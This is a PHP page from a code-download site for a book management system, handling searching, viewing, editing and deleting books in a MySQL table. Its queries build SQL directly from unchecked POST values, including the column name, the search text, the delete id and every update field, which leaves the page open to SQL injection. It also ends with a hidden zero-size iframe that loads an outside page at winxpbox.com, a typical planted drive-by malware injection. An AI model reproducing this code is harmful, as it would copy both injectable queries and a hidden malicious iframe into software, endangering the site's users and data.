⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 tsglcl.php

📁 我不是乱码
💻 PHP
字号:
<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="tsglcl.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td width="124" height="50" align="left" class="tabletitle"> 图书管理</td>
      <td width='1' height="50" align="left" class="titlebg"></td>
      <td width="440" height="50" align="center" class="tabletitle"><span class="word">按

<?php 
echo "<select name='cx'>";
 
$sql="show columns from books";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
echo "<option value='".$row[0]."'>".$row[0]."</option>";

 }
echo "</select>";
 ?>

 查询 
<input name="name" type="text" id="name" />
 
<input type="submit" name="submit" value="查询" />
      </span></td>
      <td width="2" class="titlebg"></td>
      <td width="190" align="center" class="tabletitle"><span class="word">
        <input name="submit1" type="submit" id="submit1" value="查看" />
      </span><span class="word">
       
      <input name="submit2" type="submit" id="submit2" value="修改" /> 
      </span><span class="word">
      <input name="submit3" type="submit" id="submit3" value="删除" />
      </span></td>
    </tr>
  </table>
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
	  <td width="50" align="center" class="word">操作</td>
      <td width="70"  align="center" class="word">编号</td>
      <td width="400" align="center" class="word">书   名</td>
      <td width="130" align="center" class="word">类 别</td>
      <td width="130" align="center" class="word">存放位置</td>
      <td width="98"  align="center" class="word">状态</td>
    </tr>

<?php  //使用子查询,查询出选择的某个类别的某本图书的信息
if(!empty($_POST["submit"]))
{
$category=$_POST["cx"];
$name=$_POST["name"];

$sql="select * from bookmanagement.books where $category like '%".$_POST["name"]."%'";

//$sql="select * from bookmanagement.books where category in (select category from books where category='$category' and readername like '%".$_POST["readername"]."%')";
$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
 echo "<tr bgcolor='#BCD2E6'>";
 echo "<td height='20' align='center' class='word'>";
 echo "<input type=radio selected name=selected value=".$row["id"].">";//用来进行修改和删除的单选框
 echo "</td>";
 echo "<td height='20' align='center' class='word'>".$row["no"]."</td>";
 echo "<td height='20' align='center' class='word'>".$row["bookname"]."</td>";
 echo "<td height='20' align='center' class='word'>".$row["category"]."</td>";
 echo "<td height='20' align='center' class='word'>".$row["location"]."</td>";
 echo "<td height='20' align='center' class='word'>".$row["state"]."</td>";
 echo "</tr>";
 }
 }
?>
  </table> 
</form>

<?php  //插入图书数据
$selected=$_POST["selected"];

if(!empty($_POST[submit3]))   //点击删除按钮后执行
{
$sql="delete from books where id=$selected";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('删除成功!'); window.location.href='tsgl.php';</script>";
}
}

if(!empty($_POST[submit1]))   //点击查看按钮后执行
{
echo "<script language='javascript'>window.location.href='tsglck.php?selected=$_POST[selected]';</script>";
}

if(!empty($_POST[submit2]))   //点击修改按钮后执行
{
echo "<script language='javascript'>window.location.href='tsglxg.php?selected=$_POST[selected]';</script>";
}

if(!empty($_POST[submit5]))   //点击修改按钮后执行
{

$id=$_POST["id"];
$no=$_POST["no"];
$bookname=$_POST["bookname"];
$category=$_POST["category"];
$author=$_POST["author"];
$press=$_POST["press"];
$pubdate=$_POST["pubdate"];
$page=$_POST["page"];
$location=$_POST["location"];
$intodate=$_POST["intodate"];
$price=$_POST["price"];
$amount=$_POST["amount"];
$lendnumber=$_POST["lendnumber"];
$state=$_POST["state"];
$intro=$_POST["intro"];

if(empty($no))
{
echo "<script language='javascript'>alert('图书编号不能为空');history.go(-1);</script>";
}

if(empty($bookname))
{
echo "<script language='javascript'>alert('图书名称不能为空');history.go(-1);</script>";
}

$sql="update books set no='$no',bookname='$bookname',category='$category',author='$author',press='$press',pubdate='$pubdate',page='$page',location='$location',intodate='$intodate',price='$price',amount='$amount',lendnumber='$lendnumber',state='$state',intro='$intro' where id='$id'";
$result=mysql_query($sql) or die(mysql_error());

if($result)
{
echo "<script language='javascript'>alert('修改成功!'); window.location.href='tsgl.php';</script>";
}
}

if(!empty($_POST[submit4]))   //点击返回按钮后执行
{
echo "<script language='javascript'>window.location.href='tsgl.php';</script>";
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe> 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -